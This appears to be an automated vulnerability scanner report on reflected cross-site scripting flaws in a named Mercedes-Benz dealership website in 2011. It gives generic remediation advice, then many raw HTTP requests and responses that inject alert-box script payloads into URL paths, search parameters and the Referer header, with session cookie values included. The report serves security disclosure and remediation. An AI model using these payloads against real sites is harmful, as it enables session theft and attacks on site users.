Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 34888"><script>alert(1)</script>721f99e013c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /certified-inventory34888"><script>alert(1)</script>721f99e013c/index.htm?reset=InventoryListing HTTP/1.1 Host: www.theautomastermercedesbenz.com Proxy-Connection: keep-alive Referer: http://www.theautomastermercedesbenz.com/index.htm User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=124194511.1302973377.1.1.utmcsr=theautomaster.com|utmccn=(referral)|utmcmd=referral|utmcct=/index.htm; ssoid=5f47f9aa0a0a002f005f07e845da2017; JSESSIONID=66tdcl45e69v5; ddcpoolid=CmsPoolO; __utma=124194511.1620789493.1302973377.1302973377.1302973629.2; __utmc=124194511; __utmb=124194511.3.8.1302976680881
Response
HTTP/1.1 404 Not Found Server: Jetty/5.1.1 (Linux/2.6.18-128.el5 i386 java/1.5.0_16 P3P: "https://secure4.dealer.com/P3P/PolicyReferences.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Content-Type: text/html;charset=iso-8859-1 X-DDC-Arch-Trace: ,HttpResponse Content-Length: 14378 Vary: Accept-Encoding Date: Sat, 16 Apr 2011 17:58:44 GMT Connection: close
<title>Mercedes Benz | New Mercedes dealership in Shelburne, VT 05482</title> <meta http-equiv= ...[SNIP]... ://hits.dealer.com/clear.gif?&4=0&5=0&10=http://www.google.com/search?hl=en&q=5fa27'-alert(document.cookie)-'bad3f5b4489&20=www.theautomastermercedesbenz.com&21=/certified-inventory34888"><script>alert(1)</script>721f99e013c/index.htm&50=5f47f9aa0a0a002f005f07e845da2017&51=&52=&53=&54=en_US&55=173.193.214.243&56=&60=&61=&64=&58=&59=&80=&81=&82=&83=&62-0=1 ...[SNIP]...
The value of the SBbodystyle request parameter is copied into the HTML document as plain text between tags. The payload 5c46c<script>alert(1)</script>0f97ee897e7 was submitted in the SBbodystyle parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /certified-inventory/index.htm?SByear=clear&SBmake=BMW&SBmodel=clear&SBbodystyle=clear5c46c<script>alert(1)</script>0f97ee897e7&SBprice=clear HTTP/1.1 Host: www.theautomastermercedesbenz.com Proxy-Connection: keep-alive Referer: http://www.theautomastermercedesbenz.com/certified-inventory/index.htm?reset=InventoryListing User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=124194511.1302973377.1.1.utmcsr=theautomaster.com|utmccn=(referral)|utmcmd=referral|utmcct=/index.htm; ssoid=5f47f9aa0a0a002f005f07e845da2017; JSESSIONID=66tdcl45e69v5; ddcpoolid=CmsPoolO; __utma=124194511.1620789493.1302973377.1302973377.1302973629.2; __utmc=124194511; __utmb=124194511.5.8.1302976687612
Response
HTTP/1.1 200 OK Server: Jetty/5.1.1 (Linux/2.6.18-128.el5 i386 java/1.5.0_16 P3P: "https://secure4.dealer.com/P3P/PolicyReferences.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Content-Type: text/html;charset=iso-8859-1 X-DDC-Arch-Trace: ,HttpResponse Vary: Accept-Encoding Date: Sat, 16 Apr 2011 17:58:17 GMT Connection: close Cache-Control: no-store Content-Length: 36775
The value of the SBmake request parameter is copied into the HTML document as plain text between tags. The payload 1bd3e<script>alert(1)</script>56a64775370 was submitted in the SBmake parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /certified-inventory/index.htm?SByear=clear&SBmake=BMW1bd3e<script>alert(1)</script>56a64775370&SBmodel=clear&SBbodystyle=clear&SBprice=clear HTTP/1.1 Host: www.theautomastermercedesbenz.com Proxy-Connection: keep-alive Referer: http://www.theautomastermercedesbenz.com/certified-inventory/index.htm?reset=InventoryListing User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=124194511.1302973377.1.1.utmcsr=theautomaster.com|utmccn=(referral)|utmcmd=referral|utmcct=/index.htm; ssoid=5f47f9aa0a0a002f005f07e845da2017; JSESSIONID=66tdcl45e69v5; ddcpoolid=CmsPoolO; __utma=124194511.1620789493.1302973377.1302973377.1302973629.2; __utmc=124194511; __utmb=124194511.5.8.1302976687612
Response
HTTP/1.1 200 OK Server: Jetty/5.1.1 (Linux/2.6.18-128.el5 i386 java/1.5.0_16 P3P: "https://secure4.dealer.com/P3P/PolicyReferences.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Content-Type: text/html;charset=iso-8859-1 X-DDC-Arch-Trace: ,HttpResponse Vary: Accept-Encoding Date: Sat, 16 Apr 2011 17:58:07 GMT Connection: close Cache-Control: no-store Content-Length: 36649
The value of the SBmodel request parameter is copied into the HTML document as plain text between tags. The payload 24ae3<script>alert(1)</script>9446c4033ba was submitted in the SBmodel parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /certified-inventory/index.htm?SByear=clear&SBmake=BMW&SBmodel=clear24ae3<script>alert(1)</script>9446c4033ba&SBbodystyle=clear&SBprice=clear HTTP/1.1 Host: www.theautomastermercedesbenz.com Proxy-Connection: keep-alive Referer: http://www.theautomastermercedesbenz.com/certified-inventory/index.htm?reset=InventoryListing User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=124194511.1302973377.1.1.utmcsr=theautomaster.com|utmccn=(referral)|utmcmd=referral|utmcct=/index.htm; ssoid=5f47f9aa0a0a002f005f07e845da2017; JSESSIONID=66tdcl45e69v5; ddcpoolid=CmsPoolO; __utma=124194511.1620789493.1302973377.1302973377.1302973629.2; __utmc=124194511; __utmb=124194511.5.8.1302976687612
Response
HTTP/1.1 200 OK Server: Jetty/5.1.1 (Linux/2.6.18-128.el5 i386 java/1.5.0_16 P3P: "https://secure4.dealer.com/P3P/PolicyReferences.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Content-Type: text/html;charset=iso-8859-1 X-DDC-Arch-Trace: ,HttpResponse Vary: Accept-Encoding Date: Sat, 16 Apr 2011 17:58:12 GMT Connection: close Cache-Control: no-store Content-Length: 36832
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload adac1"><script>alert(1)</script>b126d4f3216 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /dealershipadac1"><script>alert(1)</script>b126d4f3216/about.htm HTTP/1.1 Host: www.theautomastermercedesbenz.com Proxy-Connection: keep-alive Referer: http://www.theautomastermercedesbenz.com/index.htm User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=124194511.1302973377.1.1.utmcsr=theautomaster.com|utmccn=(referral)|utmcmd=referral|utmcct=/index.htm; ssoid=5f47f9aa0a0a002f005f07e845da2017; JSESSIONID=66tdcl45e69v5; ddcpoolid=CmsPoolO; __utma=124194511.1620789493.1302973377.1302973377.1302973377.1; __utmc=124194511; __utmb=124194511.30.7.1302974169538
Response
HTTP/1.1 404 Not Found Server: Jetty/5.1.1 (Linux/2.6.18-128.el5 i386 java/1.5.0_16 P3P: "https://secure4.dealer.com/P3P/PolicyReferences.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Content-Type: text/html;charset=iso-8859-1 X-DDC-Arch-Trace: ,HttpResponse Content-Length: 14369 Vary: Accept-Encoding Date: Sat, 16 Apr 2011 17:16:39 GMT Connection: close
<title>Mercedes Benz | New Mercedes dealership in Shelburne, VT 05482</title> <meta http-equiv= ...[SNIP]... src="http://hits.dealer.com/clear.gif?&4=0&5=0&10=http://www.google.com/search?hl=en&q=5fa27'-alert(document.cookie)-'bad3f5b4489&20=www.theautomastermercedesbenz.com&21=/dealershipadac1"><script>alert(1)</script>b126d4f3216/about.htm&50=5f47f9aa0a0a002f005f07e845da2017&51=&52=&53=&54=en_US&55=173.193.214.243&56=&60=&61=&64=&58=&59=&80=&81=&82=&83=&62-0=1 ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b7ad6"><script>alert(1)</script>1eed9a4dd1b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /financingb7ad6"><script>alert(1)</script>1eed9a4dd1b/index.htm HTTP/1.1 Host: www.theautomastermercedesbenz.com Proxy-Connection: keep-alive Referer: http://www.theautomastermercedesbenz.com/index.htm User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ssoid=5f439ee10a0a002f005f07e8e85727f2; JSESSIONID=cywj1cs5gwvm; ddcpoolid=CmsPoolO; __utmz=124194511.1302973377.1.1.utmcsr=theautomaster.com|utmccn=(referral)|utmcmd=referral|utmcct=/index.htm; __utma=124194511.1620789493.1302973377.1302973377.1302973377.1; __utmc=124194511; __utmb=124194511.5.6.1302973388995
Response
HTTP/1.1 404 Not Found Server: Jetty/5.1.1 (Linux/2.6.18-128.el5 i386 java/1.5.0_16 P3P: "https://secure4.dealer.com/P3P/PolicyReferences.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Content-Type: text/html;charset=iso-8859-1 X-DDC-Arch-Trace: ,HttpResponse Content-Length: 14278 Vary: Accept-Encoding Date: Sat, 16 Apr 2011 17:05:52 GMT Connection: close
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c6bc8"><script>alert(1)</script>504fe4ad92d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /linkoutc6bc8"><script>alert(1)</script>504fe4ad92d/index.htm?url=http://www.dealer.com HTTP/1.1 Host: www.theautomastermercedesbenz.com Proxy-Connection: keep-alive Referer: http://www.theautomastermercedesbenz.com/index.htm User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=124194511.1302973377.1.1.utmcsr=theautomaster.com|utmccn=(referral)|utmcmd=referral|utmcct=/index.htm; ssoid=5f47f9aa0a0a002f005f07e845da2017; JSESSIONID=66tdcl45e69v5; ddcpoolid=CmsPoolO; __utma=124194511.1620789493.1302973377.1302973377.1302973377.1; __utmc=124194511; __utmb=124194511.26.9.1302973849681
Response
HTTP/1.1 404 Not Found Server: Jetty/5.1.1 (Linux/2.6.18-128.el5 i386 java/1.5.0_16 P3P: "https://secure4.dealer.com/P3P/PolicyReferences.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Content-Type: text/html;charset=iso-8859-1 X-DDC-Arch-Trace: ,HttpResponse Content-Length: 14366 Vary: Accept-Encoding Date: Sat, 16 Apr 2011 17:11:28 GMT Connection: close
The value of the url request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f6ea4'%3balert(1)//ee04aa6c904 was submitted in the url parameter. This input was echoed as f6ea4';alert(1)//ee04aa6c904 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /linkout/index.htm?url=http://www.dealer.comf6ea4'%3balert(1)//ee04aa6c904 HTTP/1.1 Host: www.theautomastermercedesbenz.com Proxy-Connection: keep-alive Referer: http://www.theautomastermercedesbenz.com/index.htm User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=124194511.1302973377.1.1.utmcsr=theautomaster.com|utmccn=(referral)|utmcmd=referral|utmcct=/index.htm; ssoid=5f47f9aa0a0a002f005f07e845da2017; JSESSIONID=66tdcl45e69v5; ddcpoolid=CmsPoolO; __utma=124194511.1620789493.1302973377.1302973377.1302973377.1; __utmc=124194511; __utmb=124194511.26.9.1302973849681
Response
HTTP/1.1 200 OK Server: Jetty/5.1.1 (Linux/2.6.18-128.el5 i386 java/1.5.0_16 P3P: "https://secure4.dealer.com/P3P/PolicyReferences.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Content-Type: text/html;charset=iso-8859-1 X-DDC-Arch-Trace: ,HttpResponse Vary: Accept-Encoding Date: Sat, 16 Apr 2011 17:10:39 GMT Connection: close Content-Length: 18132
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a6623"><script>alert(1)</script>fdaaeb1000e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /new-inventorya6623"><script>alert(1)</script>fdaaeb1000e/index.htm?reset=InventoryListing HTTP/1.1 Host: www.theautomastermercedesbenz.com Proxy-Connection: keep-alive Referer: http://www.theautomastermercedesbenz.com/financing/index.htm User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ssoid=5f439ee10a0a002f005f07e8e85727f2; JSESSIONID=cywj1cs5gwvm; ddcpoolid=CmsPoolO; __utmz=124194511.1302973377.1.1.utmcsr=theautomaster.com|utmccn=(referral)|utmcmd=referral|utmcct=/index.htm; __utma=124194511.1620789493.1302973377.1302973377.1302973377.1; __utmc=124194511; __utmb=124194511.10.3.1302973397616
Response
HTTP/1.1 404 Not Found Server: Jetty/5.1.1 (Linux/2.6.18-128.el5 i386 java/1.5.0_16 P3P: "https://secure4.dealer.com/P3P/PolicyReferences.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Content-Type: text/html;charset=iso-8859-1 X-DDC-Arch-Trace: ,HttpResponse Content-Length: 14282 Vary: Accept-Encoding Date: Sat, 16 Apr 2011 17:08:08 GMT Connection: close
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 84e55"><script>alert(1)</script>ddb4d93f836 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /specials84e55"><script>alert(1)</script>ddb4d93f836/finance.htm HTTP/1.1 Host: www.theautomastermercedesbenz.com Proxy-Connection: keep-alive Referer: http://www.theautomastermercedesbenz.com/used-inventory/index.htm?SByear=clear&SBmake=Mercedes-Benz&SBmodel=clear&SBbodystyle=clear&SBprice=clear User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=124194511.1302973377.1.1.utmcsr=theautomaster.com|utmccn=(referral)|utmcmd=referral|utmcct=/index.htm; ssoid=5f47f9aa0a0a002f005f07e845da2017; JSESSIONID=66tdcl45e69v5; ddcpoolid=CmsPoolO; __utma=124194511.1620789493.1302973377.1302973629.1302976747.3; __utmc=124194511; __utmb=124194511.3.7.1302979441461
Response
HTTP/1.1 404 Not Found Server: Jetty/5.1.1 (Linux/2.6.18-128.el5 i386 java/1.5.0_16 P3P: "https://secure4.dealer.com/P3P/PolicyReferences.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Content-Type: text/html;charset=iso-8859-1 X-DDC-Arch-Trace: ,HttpResponse Content-Length: 14369 Vary: Accept-Encoding Date: Sat, 16 Apr 2011 18:46:44 GMT Connection: close
<title>Mercedes Benz | New Mercedes dealership in Shelburne, VT 05482</title> <meta http-equiv= ...[SNIP]... g src="http://hits.dealer.com/clear.gif?&4=0&5=0&10=http://www.google.com/search?hl=en&q=5fa27'-alert(document.cookie)-'bad3f5b4489&20=www.theautomastermercedesbenz.com&21=/specials84e55"><script>alert(1)</script>ddb4d93f836/finance.htm&50=5f47f9aa0a0a002f005f07e845da2017&51=&52=&53=&54=en_US&55=173.193.214.243&56=&60=&61=&64=&58=&59=&80=&81=&82=&83=&62-0 ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 98fbd"><script>alert(1)</script>ad12aacef3c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /used-inventory98fbd"><script>alert(1)</script>ad12aacef3c/index.htm?SByear=clear&SBmake=Mercedes-Benz&SBmodel=clear&SBbodystyle=clear&SBprice=clear HTTP/1.1 Host: www.theautomastermercedesbenz.com Proxy-Connection: keep-alive Referer: http://www.theautomastermercedesbenz.com/used-inventory/index.htm?reset=InventoryListing User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=124194511.1302973377.1.1.utmcsr=theautomaster.com|utmccn=(referral)|utmcmd=referral|utmcct=/index.htm; ssoid=5f47f9aa0a0a002f005f07e845da2017; JSESSIONID=66tdcl45e69v5; ddcpoolid=CmsPoolO; __utma=124194511.1620789493.1302973377.1302973377.1302973629.2; __utmc=124194511; __utmb=124194511.19.8.1302976741563
Response
HTTP/1.1 404 Not Found Server: Jetty/5.1.1 (Linux/2.6.18-128.el5 i386 java/1.5.0_16 P3P: "https://secure4.dealer.com/P3P/PolicyReferences.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Content-Type: text/html;charset=iso-8859-1 X-DDC-Arch-Trace: ,HttpResponse Content-Length: 14373 Vary: Accept-Encoding Date: Sat, 16 Apr 2011 18:01:18 GMT Connection: close
<title>Mercedes Benz | New Mercedes dealership in Shelburne, VT 05482</title> <meta http-equiv= ...[SNIP]... "http://hits.dealer.com/clear.gif?&4=0&5=0&10=http://www.google.com/search?hl=en&q=5fa27'-alert(document.cookie)-'bad3f5b4489&20=www.theautomastermercedesbenz.com&21=/used-inventory98fbd"><script>alert(1)</script>ad12aacef3c/index.htm&50=5f47f9aa0a0a002f005f07e845da2017&51=&52=&53=&54=en_US&55=173.193.214.243&56=&60=&61=&64=&58=&59=&80=&81=&82=&83=&62-0=1 ...[SNIP]...
The value of the SBbodystyle request parameter is copied into the HTML document as plain text between tags. The payload ae6b1<script>alert(1)</script>43130dd7918 was submitted in the SBbodystyle parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /used-inventory/index.htm?SByear=clear&SBmake=Mercedes-Benz&SBmodel=clear&SBbodystyle=clearae6b1<script>alert(1)</script>43130dd7918&SBprice=clear HTTP/1.1 Host: www.theautomastermercedesbenz.com Proxy-Connection: keep-alive Referer: http://www.theautomastermercedesbenz.com/used-inventory/index.htm?reset=InventoryListing User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=124194511.1302973377.1.1.utmcsr=theautomaster.com|utmccn=(referral)|utmcmd=referral|utmcct=/index.htm; ssoid=5f47f9aa0a0a002f005f07e845da2017; JSESSIONID=66tdcl45e69v5; ddcpoolid=CmsPoolO; __utma=124194511.1620789493.1302973377.1302973377.1302973629.2; __utmc=124194511; __utmb=124194511.19.8.1302976741563
Response
HTTP/1.1 200 OK Server: Jetty/5.1.1 (Linux/2.6.18-128.el5 i386 java/1.5.0_16 P3P: "https://secure4.dealer.com/P3P/PolicyReferences.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Content-Type: text/html;charset=iso-8859-1 X-DDC-Arch-Trace: ,HttpResponse Vary: Accept-Encoding Date: Sat, 16 Apr 2011 17:59:17 GMT Connection: close Cache-Control: no-store Content-Length: 37157
The value of the SBmake request parameter is copied into the HTML document as plain text between tags. The payload 5c1f3<script>alert(1)</script>161a7b5aa82 was submitted in the SBmake parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /used-inventory/index.htm?SByear=clear&SBmake=Mercedes-Benz5c1f3<script>alert(1)</script>161a7b5aa82&SBmodel=clear&SBbodystyle=clear&SBprice=clear HTTP/1.1 Host: www.theautomastermercedesbenz.com Proxy-Connection: keep-alive Referer: http://www.theautomastermercedesbenz.com/used-inventory/index.htm?reset=InventoryListing User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=124194511.1302973377.1.1.utmcsr=theautomaster.com|utmccn=(referral)|utmcmd=referral|utmcct=/index.htm; ssoid=5f47f9aa0a0a002f005f07e845da2017; JSESSIONID=66tdcl45e69v5; ddcpoolid=CmsPoolO; __utma=124194511.1620789493.1302973377.1302973377.1302973629.2; __utmc=124194511; __utmb=124194511.19.8.1302976741563
Response
HTTP/1.1 200 OK Server: Jetty/5.1.1 (Linux/2.6.18-128.el5 i386 java/1.5.0_16 P3P: "https://secure4.dealer.com/P3P/PolicyReferences.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Content-Type: text/html;charset=iso-8859-1 X-DDC-Arch-Trace: ,HttpResponse Vary: Accept-Encoding Date: Sat, 16 Apr 2011 17:59:07 GMT Connection: close Cache-Control: no-store Content-Length: 37181
The value of the SBmodel request parameter is copied into the HTML document as plain text between tags. The payload e5131<script>alert(1)</script>a0d520f6586 was submitted in the SBmodel parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /used-inventory/index.htm?SByear=clear&SBmake=Mercedes-Benz&SBmodel=cleare5131<script>alert(1)</script>a0d520f6586&SBbodystyle=clear&SBprice=clear HTTP/1.1 Host: www.theautomastermercedesbenz.com Proxy-Connection: keep-alive Referer: http://www.theautomastermercedesbenz.com/used-inventory/index.htm?reset=InventoryListing User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=124194511.1302973377.1.1.utmcsr=theautomaster.com|utmccn=(referral)|utmcmd=referral|utmcct=/index.htm; ssoid=5f47f9aa0a0a002f005f07e845da2017; JSESSIONID=66tdcl45e69v5; ddcpoolid=CmsPoolO; __utma=124194511.1620789493.1302973377.1302973377.1302973629.2; __utmc=124194511; __utmb=124194511.19.8.1302976741563
Response
HTTP/1.1 200 OK Server: Jetty/5.1.1 (Linux/2.6.18-128.el5 i386 java/1.5.0_16 P3P: "https://secure4.dealer.com/P3P/PolicyReferences.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Content-Type: text/html;charset=iso-8859-1 X-DDC-Arch-Trace: ,HttpResponse Vary: Accept-Encoding Date: Sat, 16 Apr 2011 17:59:12 GMT Connection: close Cache-Control: no-store Content-Length: 37186
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6e682'-alert(1)-'ef04afa0abc was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
